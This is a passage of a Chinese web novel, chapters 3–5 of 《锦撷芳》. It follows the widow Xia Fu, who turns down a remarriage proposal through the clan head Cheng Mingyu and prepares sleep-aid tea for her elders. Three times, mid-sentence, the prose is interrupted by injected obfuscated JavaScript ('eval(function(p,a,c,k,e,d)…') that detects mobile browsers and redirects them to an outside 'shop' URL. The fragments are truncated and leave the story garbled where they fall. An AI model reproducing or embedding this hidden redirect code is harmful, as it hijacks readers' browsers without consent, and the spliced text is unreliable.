《锦撷芳》 3. 第 3 章 家主盛名在外,夏芙却是第一回遇见他。 方才他那一声“十三叔”来得及时,叫夏芙不经意瞟了他一眼,这一眼便看呆了去。 夏芙当然耳闻过程明昱的美貌,只是私以为是众人对这位世家第一人的溢美之词,是他当朝状元郎身份镀的一层滤光,今日初见,方知传言不虚。 他一袭白衣几乎要与日芒融为一体,很有几分冰姿雪魄般的美,倘若此时送来一阵适宜的春风,恐要羽化登仙了去,浑身清冽之气逼得她压根不敢看第二眼。 夏芙很守礼地垂下眸。 不过比起惊艳于家主的相貌,夏芙更愁眼下的局面,她绞着手帕,陷入两难。 传闻家主洁身自好,最不喜女子近身攀谈。 她方才蒙他相助,对方又是族长之身,她不去拜见,实在失礼, 只是去了,也不知人家会不会忌讳她的身份? 罢了,她坦坦荡荡,程家主亦是霁月风光,见个礼也没什么。 遂夏芙沿着石桥,近前几步,朝程明昱屈膝,“夏氏见过家主。” 她不敢看他,只瞥见他身后立着一排婆子,大约这是家主的排场。 适才程明昱敲打十三老爷的那番话,夏芙听得明白,那意思分明是不让十三老爷来这后花园了。而十三老爷身为族中长辈,不仅不敢露出丝毫不满,甚至还得小心翼翼奉承。 可见家主规矩极大。 夏芙当然感激家主替她解围,只是感激之余,她也实打实领受到了家主的威严。 唯恐自己此举惹人家不快,顺手也把她给驱逐出去。是以,她眉眼垂得极低,视线不敢落在他身上,绞着帕子,尾音潺潺弱弱。 程明昱自被两位公主缠上,便养成避嫌任何陌生女性的习惯,原要打道回房,余光瞥见那位隔房的弟媳走近,不得不驻足,随后掀起眼帘。 那一瞬,仿佛以为眼前的水面支着一朵艳而不妖的菡萏。 眼前人,天水碧的裙衫无声翻飞,天然一段娇怯全堆在眉梢,盈盈身姿被荡漾的波光映得恍若随时能折了去。 让人看第一眼不忍看第二眼,唯恐将她看化了。 程明昱很快移开视线,同时,眉棱蹙起。 昨日曾听母亲提到这位弟媳,只道是可怜可愁。 今日一见这夏氏,方知母亲因何而愁。 娇滴滴的一把嗓子,听了着实叫人犯愁。 女子娇美当然不是过错,然当貌美与柔弱同时出现在一个寡妇身上,那便是招人欺了。 程明昱不是不喜柔弱的女子,只是这世道不容女子柔弱,也不容任何人柔弱。 人当坚韧自强。 譬如他的母亲,譬如他先前两任妻子。 内能掌族务,外待人接物游刃有余。 程明昱抬手回了一礼,淡声问道,“方才十三叔可有为难于你?” 程明昱的声线天然不带情绪,让人有距离感。 夏芙目光落在自己脚尖,斟酌该如何回答。 十三老爷那番话虽有些越界之处,却不构成欺辱,且程明昱已敲打在先,她再告状似乎有些得理不饶人,她只是家主隔房的弟媳,不可能得到家主时时刻刻的庇护,眼下若得罪了十三老爷,他日待家主与大伯母回京,她又该如何自处? 事缓则圆,夏芙不愿节外生枝,遂屈膝道,“十三叔只是说了几句闲话,倒也无伤大雅。” 夏芙说话时,程明昱注意到她的举止,眉目低垂一动不动,离着他十步开外的距离,虽柔弱却守礼知节。 难怪能得母亲怜惜。 程明昱事务繁忙,不可能多做停留,目光在夏芙身后小丫鬟身上掠过,提醒道,“往后,多带几个厉害的仆妇出门。” 隔房的事,纵他是族长,也不可能干涉太多,点到为止,程明昱再度一揖,头也不回离开。 他对夏芙的印象是柔弱,胆小,知礼。 但很快这些印象又从脑海一晃而过。 家事国事天下事,皆在程明昱心中,他哪有工夫管隔房弟媳的私事。 他一离开,身侧的婆子也鱼贯而退。 夏芙确认他走远,方敢松懈下来,悄悄吐了吐气。 不仅她,便是身旁的秋蕖也捂了捂胸口,后怕道,“二奶奶,家主的规矩好大呀。” 夏芙笑了笑没说话,带着秋蕖折返荣华堂。 周氏原要留夏芙与四太太用午膳,怎奈有嬷嬷通报家主已归,四太太识趣起身,带着夏芙离开。 周氏也不再款留。 大太太周氏膝下有四个孩子,长子程明昱,次子程明江,三子程明景,此外还有一个女儿,前不久刚嫁去了金陵总督府。 次子夫妇琴瑟和鸣,女儿女婿新婚燕尔,便是幺子如今也正在议亲,说亲者踏破门槛,独独长子程明昱孑然一身,周氏心里最疼的便是他,偏程明昱不爱热闹,素来不参与家宴,故而只要程明昱在府上,周氏总要唤他来用膳,陪着他说说体己话。 而这边夏芙在园子里遇见十三老爷的事,也禀给了周氏,膳后用茶时,周氏便问起了事端,程明昱简言带过, “我已敲打十三叔,也提醒她往后多带些人手出门,母亲放心。” 程明昱显然不想在此事上多费口舌,转而递了几份拜帖给周氏。 “母亲,这是京城柳家、西郡杨家和青州顾家送来了议婚贴,均有意与三弟结亲。” 周氏接了过来,一个个细看。 程明昱端坐一旁,给她介绍,“三位姑娘,儿子已吩咐人打听底细,均知书达理,为人端庄稳重,坊间有贤名,母亲斟酌挑选一位,聘为新妇便是。” 言简意赅说完,方拾起茶盏喝茶。他的两任妻子,并未相看,全由母亲做主,程明昱相信母亲的眼光。 周氏原还看得认真,一听程明昱这番话,便搁了下来。 程明昱不解,只得停下茶盏再问,“母亲可是有疑虑?” 周氏瞟着儿子那张不食人间烟火的俊脸,轻轻嗤了一声。 “你是给自己娶媳妇,还是给你三弟娶媳妇?你三弟不是你,他是幺子,不用支应门庭,取个貌美娇憨的媳妇也无不可,咱又不是娶宗妇,用得着这些条条框框吗!” 周氏没有看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498838|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去的兴致,将帖子扔开。 程明昱满脸愕然,旋即揉了揉眉棱。 “母亲这话从何说起?婚姻大事,父母之命媒妁之言,此事该母亲与我这个长兄做主。娶妻娶贤,绵延子嗣,侍奉尊长,乃古礼也。过往皆是如此,母亲今日何故动气?” 周氏并非动气,只是想起程明昱坎坷的婚姻,心头郁结罢了。 说到已故的两位媳妇,一位出生荥阳郑氏,一位出生赵郡李氏,均是响当当的的名门之后,世家嫡女,郑李二家仿佛是打听了程家喜好,将两位姑娘对着程家宗妇的要求培养。当年她两度为儿子议婚时,郑李两家之女,当真是无可挑剔。 只可惜,老天爷见不得儿子圆满,两段婚姻均剜人心肝。 头一个起先还顺利,新婚一月后便有了身孕,十月怀胎诞下嫡长子程亦彦,待出了月子,带着孩子归宁时,路上偶感风寒,就那么撒手人寰。 第二个更叫人意外,新婚不过半载,瞧着康健大方的人儿,孰知宴席多饮了些酒便没了气。那心疾原是娘胎里带来的,此前并未发作,两家人均是措手不及。 两任妻子,均是毫无征兆病亡,坐实了他克妻的名声。 两段婚姻,儿子媳妇举案齐眉,相敬如宾,在外人看来是羡煞旁人。 然在周氏眼里,夫妻之间,尊重有余,亲昵不足。 原先周氏也信奉娶妻娶贤的道理,盼着媳妇过门后,上得了厅堂,下得了厨房,内掌家务,外结官眷,能独当一面。 如今这些念头都没了。 人生不过须臾几十载,夫妻之间和和美美,你浓我浓才是要紧。 什么条条框框都比不过“恩爱”二字。 长子一生的幸福已然葬送,不能再委屈幺儿。 周氏拿定主意,看着程明昱,“你三弟喜欢貌美的姑娘,叫他自个儿去挑,挑上哪个,咱们上门提亲。” 程明昱不敢苟同,正色道,“母亲,比起容貌,儿子认为品性家世才干更为重要,婚姻是责任,是彼此均能给彼此兜底的责任。” 譬如郑氏和李氏,换做是他出了事,他也坚信她们能独当一面,过好自己的日子。 而非像夏氏那般彷徨无助,孤苦无依。 程明昱对自己两任妻子甚是满意。 “您不要逞一时之气。”他最后强调。 周氏看着一板一眼的儿子,冷笑:“这么满意,要不你娶了?” 程明昱顿住,平平静静看了母亲一眼,旋即掀起衣摆起身,郑重一揖, “儿子还有公务,先行告退。” 瞧,就是这么无趣! 周氏看着他从容的背影,气得撇了撇嘴。 夏芙当然不知自己被程明昱嫌弃了,她心思浅,很快将十三老爷的话扔去脑后,回房的路上瞧见园子里花团锦簇,顺手带着丫鬟采了几篮子回府。 她是用不着这些花儿粉儿,但她会做胭脂水粉,回头送给各房的妯娌姑子,也算结个善缘。 她深知往后的路要一个人走,也知自己没有太大的能耐。 但她会努力把日子过好。 4. 第 4 章 夏芙为何选择守寡,也与婆母好处有关,譬如这午后,婆母从不叫人伺候,陪着用过膳,便叫夏芙回房歇着,她小憩片刻,醒来便坐在窗下做丹寇。 夏芙的院子原有两个大丫鬟,四个小丫鬟并两个粗使婆子。 程明祐过世后,有人看出秋香苑没有前景,往大奶奶金氏陪房陈嬷嬷处塞了好处,另谋高就去了,现如今,只剩秋蕖一个大丫鬟,两个小丫鬟并灶上烧水的婆子。 后来此事被婆母四太太知晓,要拨些人手过来,夏芙没让,说是清净些好,四太太也就随她。 夏芙吩咐两个小丫鬟将两篮子花瓣过了水,分别装入小瓷罐中捣碎,再加少许明矾固色,搅拌均匀,便成了花泥。 闺中女儿自制胭脂水粉实属寻常,但夏芙的丹寇又与旁人不同,夏家祖上曾做药材生意,夏芙自小颇通药理,于这些水粉丹寇中添些药材,便有不同的功效。 她唤来秋蕖,“你去耳房的药柜里取些百合与薄荷来。” 百合有安神的功效,薄荷则能提神,合在花泥里涂在指甲,不经意间闻上一闻,叫人心旷神怡。 秋蕖伺候夏芙一年有余,识药已是家常便饭,很快熟门熟路取了来,帮着夏芙研成粉末,随后加入花泥里,不多时便做成两罐丹寇。 夏芙闻了闻香气,十分满意,起身净手更衣。 “秋蕖,将两罐丹寇装好,咱们去送人。” 秋蕖将瓷罐分别装入两个小香囊,问夏芙道,“您这是要送给谁?” 夏芙入了内室,换了身浅紫的长褙出来,这身浅紫是前年的旧料子,显老气,“想是下午申时了,大嫂此刻该在议事厅,咱们先送一罐给她。” 秋蕖跟着她出门,小声嘀咕道,“大奶奶待您又不好,您送她作甚?” 夏芙轻瞥了丫鬟一眼,“这话往后不许再说。” 她当然知晓金氏待她不好,只因那大爷程明泽有些偷看她,惹了金氏不快,连带她也没得金氏好脸色。 不过那是过去的事了,那时程明祐在世,府内常有家宴,抬头不见低头见,程明泽那双眼时不时往她身上觑,她自然也不高兴,私下回去便与程明祐提了一嘴,哪知程明祐对自己嫡亲的兄长深信不疑,只道兄长最是老实,怎么可能做觊觎弟媳之事,叫她别多想,后来夏芙便不提了,只小心避开程明泽便是。 反倒是婆母心如明镜,给她和程明祐换了个院子,往后她去上房请安,再也不必撞上大房的人,现如今,她借口寡居,不必现身家宴,压根没有机会见到程明泽。 金氏是四房的长媳,掌着府上中馈,得罪她于夏芙无任何益处,上善如水,她无摄人的本事,却有磨人的耐心,水滴石穿,金氏碍着脸面也不好为难于她。 柔弱的人自有柔弱的生存之道。 这就是夏芙的生存之道。 夏芙所料不错,伸手不打笑脸人,丹寇送过去时,金氏果然十分高兴,还转送了一两新茶给她。 “弟妹手艺不错,我闻着这丹寇还有一股百合香。” “百合安眠,大嫂操持家务,我帮不上什么忙,只能在这小处费功夫,叫大嫂安个好觉。” 十八岁的姑娘,笑吟吟立在斜阳里,即便穿着旧褙子,也是水灵灵的美人。 不怪男人爱瞧她。 金氏同情她,也忌惮她。 “往后有人怠慢弟妹,弟妹只管告诉我。” 夏芙摇着头,“院子里的人都是使唤惯了的,我用着放心,反倒是大嫂这边,有什么事只管去院里吩咐我,我如今守着寡,能不出门则不出门。” 这是变相告诉金氏,她不会往程明泽跟前凑。 事实上这一年来,夏芙深居简出,金氏都看在眼里。 女人何苦为难女人,她已经没了男人,自己再欺负她,当真是没了良心。 金氏难得红了眼眶,握了握她手腕, “我心里有数。” 夏芙告辞金氏,又往隔壁六房去。 她与六房三奶奶孟氏交好,二人年纪相仿,又是同一年进的门,脾性相投。 孟氏待她便热情多了,高高兴兴拉着她进屋,又将丫鬟们都使出去,二人好说贴心话,“去年除夕你送了一罐给我,我用着十分好,后来你家明祐出事,我不敢再叨扰你,这一年来都去市面上买。” “只是,外头买的哪有你做的好,颜色好看,味儿还好闻,今日可给我等着了。”孟氏欢天喜地,伸出一双粉嫩的手,非要夏芙当场帮她涂。 夏芙拿着勺子舀出一些,均匀地往她指甲抹去,笑着回,“你喜欢,下回我还给你做。” 孟氏心肠热道,不是占人便宜的性子,忙道,“咱们事先可得说好,我出银子,你不许推拒。” 夏芙白了她一眼,“我是挣你银子来的?” 孟氏看着她消瘦的面孔,心疼道,“芙儿,你如今没了男人,一切都得靠自己,能攒一些是一些。我好歹还有男人时不时往家里塞些体己,我不能占你便宜。” 孟氏的丈夫程明英与程明祐是同科进士,得蒙程明昱举荐,进了工部为七品主事,近来正在弘农隔壁郡县修缮河道,是以孟氏陪着他回了老宅。 夏芙笑笑道,“我一月有五两月银,无儿无女,够用得很。” 这也是她决意留在程家的原因之一,程家富贵,上至老爷太太,下至她们这些年轻媳妇,每月均有月例发放,逢年过节,甚至还有年例,四季衣裳八套,吃穿不愁,倘若有人克扣月例,便可去戒律院申告,戒律院八大执事能替他们做主。 这也是金氏过去即便看她不顺眼,却绝不敢克扣月银的缘故。 家主治家甚严,能让如她这般无依无靠的人过得安心。 外头均以嫁入程家为荣,她傻了才离开这个安乐窝。 当然,她也要经营自己的人脉,孟氏便是她的人脉。 孟氏的丈夫程明英,很得家主看重,前程似锦。 孟氏迟早能得诰命,有个诰命夫人做手帕交,也是一种体面。 这些在旁人看来的萤火之光,夏芙会尽力争取。 所以,她绝不会要孟氏的银子。 粉嫩的指甲很快涂上一层娇艳的丹寇,孟氏深深一吸,只觉神清气爽。 “芙儿,你手艺太好了!” “不成,我不能白得你的东西。” 话落,夏芙便见她风一般地刮进内室,不多时取出一个盒子,递给她, “呐,这是昨夜我夫君去见家主,禀报修堤一事,家主赏给他的一沓金粟笺,我匀些给你,这玩意儿外面可买不到,内外涂蜡,质地硬挺光滑,可历千年而不朽,我记得你爱写簪花小楷,你省着些用。” 夏芙稀罕地接了过来,打开锦盒便见里头搁着数张金色的纸笺,色泽沉郁而浓烈,恍若一滩金灿灿的凝脂,果真是罕见的宝贝。 “这么贵重的东西,我可受不起!即便拿了,也舍不得用!” 孟氏坐了下来,凑到她跟前,眼巴巴道,“我也舍不得用,也就家主那样矜贵的人儿才用得起,咱们用是暴殄天物。” “神仙赏的东西都带着仙气,这些文雅的东西哪是咱们这些后宅妇人能用的,给了咱,咱总不能拿去换银子吧。” “我昨夜还与我夫君说,若是下回家主再赏他些什么,叫他要些实用的,譬如银子哪,珍珠呀,这些我喜欢。” 夏芙捏了捏她的脸,“你就贫嘴吧。” 孟氏吐了吐舌。 “家主房里连个女人都没有,程家铺子里送来的那些天南海北的奇珍异宝可不是蒙了尘,咱们家主夫人命薄,享不到这等泼天富贵。” 人与人的想法不能共通。 孟氏的吐槽与惋惜,夏芙体会不到。 在她看来,能安安稳稳吃个饱饭便已满足,那些所谓的富贵,于她而言是天边云,水中月。 她不会怨天尤人,也不会痴心妄想。 “你家三爷还不够能干的?假以时日做了堂官,你便是那人上人,想要什么没有?” 孟氏当然也很满足,她握住夏芙的手,“芙儿,咱们名为妯娌,实为姐妹,你放心,我在一日,你便有个伴,也有个靠。” 夏芙克制住泪意,笑着点了头。 可怜的小娘子,眸若朝露,便是腼腆起来,也是极美的。 时辰不早,夏芙告辞,孟氏留她用晚膳,夏芙推拒道,“我就不搅你们夫妻清净了。” 孟氏知道她避嫌,亲自送她出穿堂,“过几日我上街给你捎好吃的。” “好嘞!” 两府比邻而居,只相隔一个小花园,夏芙踩着晚霞的金光回了四房,哪知将将跨进门槛,身后传来一道呼唤, “芙儿妹妹。” 夏芙一愣,这声音说熟悉不熟悉,说陌生也不陌生,正是十三老爷的儿子程明旭。 她装作没听见的,搭着秋蕖的手臂,快步绕去了照壁后。 程明旭见状急得要跳起来,好不容易逮着她出门,打算说几句体己话,她偏不应,这可如何是好,程明旭气急败坏回了屋,见了自己爹,便埋怨道, “爹,你怎么跟芙儿说的,她应了吗?” 十三老爷懒洋洋地坐在堂屋饮酒,“别急儿子,这门婚事,爹爹一定帮你办成。” 程明旭大步迈过来,坐在他老爹对面,“您打算怎么办?” 十三老爷老神在在道,“过明路。” 次日一早,十三老爷便去北府寻程明昱,怎知连着几日程明昱不在府上,直到五日后,方逮着人。 进了书房,便与他开门见山, “明昱,我今日前来,是有一桩事想请你做主。” 程明昱正在书房习字,他执笔的姿势很好看,指节修长而有力,寥寥数笔下去,一副一笔书的行书便跃然纸上。 写完,他将金栗笺揉成一团,扔去角落纸篓,抬眸看向十三老爷,“您有何事,不妨坐下说话。” 十三老爷眼巴巴看着那团废弃的墨宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498839|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暗自惋惜,程明昱年少成名,书画双绝,自明澜长公主四处求购程明昱的书画后,程明昱的手作再不外传,别说他们这些族人,便是圣上也讨要不得。 十三老爷心疼地收回视线,在他对面坐下,谈起正事, “明祐的媳妇夏氏,那日在后花园你见过的,她如今除了服,便可自行改嫁。我家明旭虽不如明祐考了进士,却也是个实诚的孩子,现跟着他六叔跑些庶务,有了长进,他今年十八,到了娶媳妇的年纪,我想着与其去外头找,还不如找个知根知底的,那夏氏坊间有贤名,为人端庄稳重,也很能干,我瞧着很好,想请你与大嫂做主,帮着明旭定下来。” 坊间有贤名,为人端庄稳重,也很能干.... 程明昱默默听完这些字眼,半晌没有说话,回想那日情景,还有什么不明白的,目光看向十三老爷,淡而犀利,“如果我没记错,她拒绝了您?” “嗨!”十三老爷笑着摆手,“姑娘害羞,信奉父母之命媒妁之言,哪能轻易应允?所以我这不是求你来了吗,让大嫂出面,事情水到渠成!你放心,我们当头婚的姑娘待她,绝不委屈了她。” 程明昱沉默下来,开始认真思量这桩婚事,据他所知,十三老爷已丧妻,府中是一妾室做主,而程明旭又因是丧母之子,议亲很是艰难,十三老爷打夏氏主意倒也不奇怪,只是在程明昱看来,这门婚事不算稳妥。 公公年富力强,儿子莽撞不经事,瓜田李下,容易惹人闲话。 程明昱一针见血,“您既然求到我头上,我便直言了,您尚未续弦,旭哥儿也年轻,那夏氏性子弱,改嫁过来,坊间恐有微词。” 十三老爷听出他言下之意,一拍大腿,颇为愤慨,“明昱,我就知道外头人都想岔了我,为了儿子能娶一门好媳妇,我豁出去了,咱们程家堡西北边不是还有几间空屋子嘛,你把它给我,等旭哥儿成亲,我便带着姨娘搬去那头,我手里的体己全交给旭哥儿媳妇,家里也全听她做主,你看如何?” 还算有诚意。 他与夏氏非亲非故,不可能替夏氏拿主意,思忖片刻,程明昱便道, “此事需我母亲首肯,若她不同意,十三叔便歇了这个心思。” 程明昱推到母亲身上,是防婚事不成,十三老爷迁怒夏芙。 旁人都说他不食人间烟火,可一个在朝堂爬摸打滚多年的成熟男人,又怎么可能不通人情世故,他这人做事向来细敏而周全。 十三老爷笑融融起身,“全仰仗家主。” 程明昱回了荣华堂,便将这事说给周氏听。 周氏没看上程明旭,“我倒是觉得旭哥儿配芙儿还差了些。” 若非幺儿对夏芙无男女之情,周氏都想让夏芙给她做儿媳。 多么漂亮的小娘子,看着赏心悦目。 程明昱道,“差不差不是咱们说了算,您还得问过她的意思。” “也是。” 翌日下午申时,周氏料理完族务,便寻了借口悄悄将夏芙唤来长房。 彼时荣华堂的下人都给使出去了,只一心腹嬷嬷在侧,周氏也不用藏着掖着, “旭哥儿比不上明祐,不过也有一桩好处,没有公婆压着你,房里房外都是你做主,你自个儿衡量衡量,想明白再回我。” 夏芙一听始末,都顾不上坐,忙支起身,“大伯母,我不要改嫁,我谁也不嫁,我就守着明祐的牌位过日子!” 语气又慌又急,小脸红彤彤的,如染了胭脂似的,叫人又怜又爱。 周氏赶忙搁下茶盏,开解道,“芙儿别急,有话好好说,你既看不上旭哥儿,我替你拒了便是,至于绝不改嫁的事,我劝你慎重,这样的话不可再说,不要绝自己后路!” 周氏是过来人,趟过无数风浪,深知人这一生变故太多,谁也不知今后会遇着什么人,经历什么事,一旦把话说满,害的便是自个。 夏芙却是含泪道, “大伯母,我与明祐是少年夫妻啊,他当年不嫌我出身寻常,不嫌我父母双亡,不嫌我嫁妆微薄,执意聘我为大妇,嫁过来后,敬我爱我,就连婆母也拿我当女儿一般疼,我夏芙岂可在婆母伤怀之际,他尸骨未寒之时,改嫁他人,我做不到!” “能得一人心,生死皆相随。” “我夏芙此生,定为明祐守节,无怨无悔!” 蔚蓝无边无际延伸去苍穹深处,独留乌金在西边天画地为牢。 夏芙为亡夫守节的心思,旁人不懂,但他懂。 晚风徐徐掀动他的衣摆,那袭白衫,在这样的光色里显得清冽出尘。 程明昱立在一墙之外,无意间听见夏芙这番话,脑海不禁浮现“风骨”二字。 他在一个柔弱女子身上,看到了矢志不渝的风骨。 婚姻是责任,亦是承诺。 他与妻子之间,是同进退共风雨的责任。 大抵夏氏与那位族弟之间是心无二致的承诺。 他欣赏有风骨的人,无论男女。 5. 第 5 章 是夜,程明昱将十三老爷请来,以母亲周氏的名义拒绝了这门亲, “母亲听了很恼火,只道明祐尸骨未寒,你们便盯上了人家媳妇,毫无同族情谊,叫人心寒,此事往后休得再提。” 十三老爷杵在案前,羞得老脸通红,支支吾吾想分辨几句,程明昱没给他机会, “当然,旭哥儿的婚事也不能不管,这样吧,近来明英在河道上当差,让他跟过去打打下手,听听分派,历练个一年半载,往后我在族中给他安置个差事,自能娶上一门好妻。” 十三老爷一听,满肚子冤屈霎时消失个无影无踪,眉开眼笑朝程明昱作揖, “明昱,我就这么个命根子,可就全托付给你了。” 一时好话说尽,恨不得上前给他端茶倒水,程明昱当然不会受长辈的礼,连夜将事情分派下去。 十三老爷只当自己在程明昱处颇有脸面,方得了这样的好差,殊不知程明昱此番作为是另有考虑。 以程明旭程氏子弟的身份,怎么可能娶不到媳妇? 大抵是相中了夏氏的美色。 把人调开,免得那程明旭盯着夏氏不放。 身为族长,他不愿看到族内发生任何伤风败俗之事。 程明昱将此事安置妥帖后,转身又忙起了公务,近来他虽在弘农守制,朝中动静却分毫不差送抵案头,且给他送撘子的并非旁人,正是当今圣上。 去年先帝兵败金山堡,连带数万将士也陪着他送葬,大晋岌岌可危,关键时刻,几位肱骨以国赖长君为由,拥戴其弟也就是当今圣上继位,太后自然不肯,后执意将先帝襁褓中的孩子改立为太子,政权方得以平稳过渡。 换而言之,当今太子并非圣上亲子,后党与帝党在朝中时常斗得不可开交。好在政事堂几位宰辅万事以社稷为先,居中裁度,倒也没出什么大乱子。 守制前,他刚被皇帝提拔为参知政事,成为政事堂四宰辅之一,是皇帝极力拉拢的对象,是以哪怕他人不在中枢,皇帝万事都遣人来问过他的意思,请他暗中襄助。 程明昱的心思实则与其余三位宰辅一般,将江山与百姓搁在第一位,不过皇帝这边也不能不应付。皇帝也是聪明人,深知程家不涉党争,绝不将程明昱置于两难之地,问得都是国计民生的大事,显见比太后一党要礼遇于他,君臣相处倒也十分融洽。 撘子打开,程明昱准备回信。 君子慎独,哪怕是在夜深的书房,程明昱依然一丝不苟先沐浴焚香更衣,以示恭敬,随后方端坐于案后,提笔给皇帝上书。密黑的发髻梳得一丝不散,木簪下系着一根白色发带,浓睫低垂时在眼下落一小片阴影,唇色极淡,他执笔蘸墨,腕似游鱼,浑不觉夜风偷漏进来,将发带吹得飘扬似雪,给那素来古板端正的男人添了几分干净的风流。 这一忙,不知不觉,又到了深夜。 夏芙这一夜辗转反侧。 今日拒绝得决绝,也不知那十三老爷父子是否记恨在心。 她到底人微言轻,难免担心旁人报复于她,迷迷糊糊想了一遭,后半夜才睡着。 次日叫秋蕖去外头打听动静,没听见什么风声,又三日,孟氏携了一只荷叶包鸡来探望她,便提了一嘴, “你还记得十三房那个旭哥儿吧?” 夏芙一惊,压下心头的慌乱,问道,“他怎么了?” 孟氏亲自将荷叶包鸡撕成一块块,喂了夏芙一口,“嗐,也不知十三老爷在家主跟前说了什么好话,家主竟是吩咐我夫君将程明旭带去河道,说是要历练个一年半载。” 夏芙愣住,“要去这么久?” “可不是?前个大包小包载了一车,极不情愿跟着我夫君去了。” 夏芙心里那颗石头落了地,惊讶道,“是家主的意思?” “当然,否则我夫君可不会揽这个事!” “谁愿意身后带个拖油瓶!” 孟氏一面撕着荷叶包鸡,一面埋汰十三房的不好。 夏芙心不在焉地听着,脑海浮现程明昱那张面孔。 所以这事家主也知道了? 她当然不会认为程明昱是为了她而将人支使开,认定程明昱是为栽培族中子弟,饶是如此,也实打实解决了她的麻烦,她念大伯母与家主这份情。 心地一宽,夏芙便笑起来,人也灵动了,欢欢喜喜起身,“我去准备些蘸酱,这样才好吃。” 孟氏难得见她这般开怀,只当是自己这只荷叶包鸡对了她的胃口,“你守丧一年,成日吃些素食,也该补补身子了,你若喜欢,赶明我陪你逛街,再买上一只。” “好嘞。” 待孟氏离开,夏芙心下便思量,承了家主与大伯母这么大一份情,若是她毫无表示,显得不知好歹,往后还要在大伯母庇护下过日子,总得做些什么孝敬大伯母才成。 翌日清晨,便请婆母为她拿个主意。 四太太对大太太的喜好了如指掌,“难得你有这份心,你大伯母又喜欢你,你是该孝敬孝敬她,她呢,过去是咱们程家的族长夫人,眼下是咱们的族长之母,手里过了千千万万的银子,世间珍奇珠宝山珍海味,只有她看不上的,没有她得不到的,一旁的东西,她不看在眼里,你得用心。” “针线上的功夫,你又不拿手,我记得有一回你给我配的药茶不错,不如你试着给她配几样,看能不能入她的眼?” “这是我唯一拿得出的手艺了!”夏芙笑吟吟地应下。 年轻的小娘子,心地就那般大,得了主意便热火朝天干起来,先拿了银子去程家药房,买了几样上好的药材,听闻周氏常年操持族务,殚精竭虑,多思难眠,便想着给她配几样助眠的茶。 所谓药茶,不仅得有成效,还得口感好,需兼顾色香味效。 夏芙拿婆母试了好几个方子,起先都不对路,直到第五日,四太太喝下去没多久有了睡意。 翌日清早夏芙俏生生立在婆母帘帐外,满怀期待候着她醒来,好不容易等着四太太绕出屏风,便迫不及待问,“怎么样,娘?” 四太太静静看了她一眼,没说话。 夏芙见她不吱声,便垮起了小脸,“没成?” 眼看人要哭,四太太不装了,抬手捏了捏她小脸蛋,“成啦!” 夏芙的眼眸倏地一亮,像两颗被洗亮的黑葡萄,光彩流淌出来,很快溢满了她整张笑脸,“那敢情好,我这就去配一罐来!”话音未落,她已轻快地转过身,碎花裙角微扬起一道优美的弧线。 眼看她兴致勃勃地忙去了,四太太哑然失笑。 起先儿子聘娶夏氏时,她如何不失望,自然也瞧不上夏氏的身份,待第一次见到她,小娘子水灵灵的模样,娇嗔天真的神采,轻易便俘虏了她的心。 没有人见了她会不欢喜,天生灵动又娇嗔的那股劲,让人过目不忘。 忙活一上午,至午后夏芙做好一小罐药茶,陪着婆母来长房拜访。 四太太是个聪明人,也不说这药茶多么好,只拉着夏芙跟周氏道, “她呀,没什么能孝敬您的,这几日费尽心思琢磨出了个药茶的方子,说是能助眠,您好歹尝个鲜,若能有些许成效,便是她的造化了。” 偌大的程氏家族,主子加奴才成千上万,每日挖空心思讨好周氏的不知凡几,寻常物件压根都送不到她跟前来,是以一罐药茶,周氏是不放在心上的,只是夏芙这片心意,她却很受用。 “你既费了这么大功夫,我必尝上一尝。” 是夜戌时初刻,便吩咐丫鬟依照夏芙的吩咐,熬上一罐,慢悠悠端着茶盏喝了几口。 彼时程明昱刚自议事堂回后院,来给母亲请安。 自程明昱回乡,京城族务大多送至弘农来料理,再有附近官员门客来访,程明昱一日总有大半日在议事堂忙碌,再忙,晨昏定省,他从不缺席。 一进屋,便见周氏在喝茶,程明昱问过安后皱了眉头, “不是嘱咐过您夜里不要喝茶吗?”喝茶不利于睡眠。 周氏晃了晃玻璃盏中金晃晃的茶水,笑着显摆,“这不是一般的茶,是药茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过去每到五六月炎炎夏日,周氏一夜睡不了几个时辰,今年喝了夏芙的药茶,症状有明显好转。 周氏何等人物,四太太的算盘她门儿清,而夏芙的用心,她更看在眼里。 除了至亲,旁人侍奉她是为讨好,唯有夏芙是为了报答,是真心实意想让她好。 嫁去金陵的女儿对她都没这份耐心。 成婚前看家世,成婚后看人品。 周氏打心眼里喜爱上了夏芙。 这一日晚膳,难得程明昱与三少爷程明景一同作陪,膳后喝漱口茶时,周氏盯着小儿子, “景儿,你觉得芙儿怎么样?” 这一问,将两个儿子都给呛到。 程明昱没说话,却看得出来他眼神里有不满。 周氏无视他的不满,只盯着小儿子,“你母亲我见的人比你吃过的盐还多,芙儿放去京城都是一等一的大美人,你别计较她嫁过人,等你娶了她,方知她的好,怎么样,不如你见见她,母亲帮你说项!” 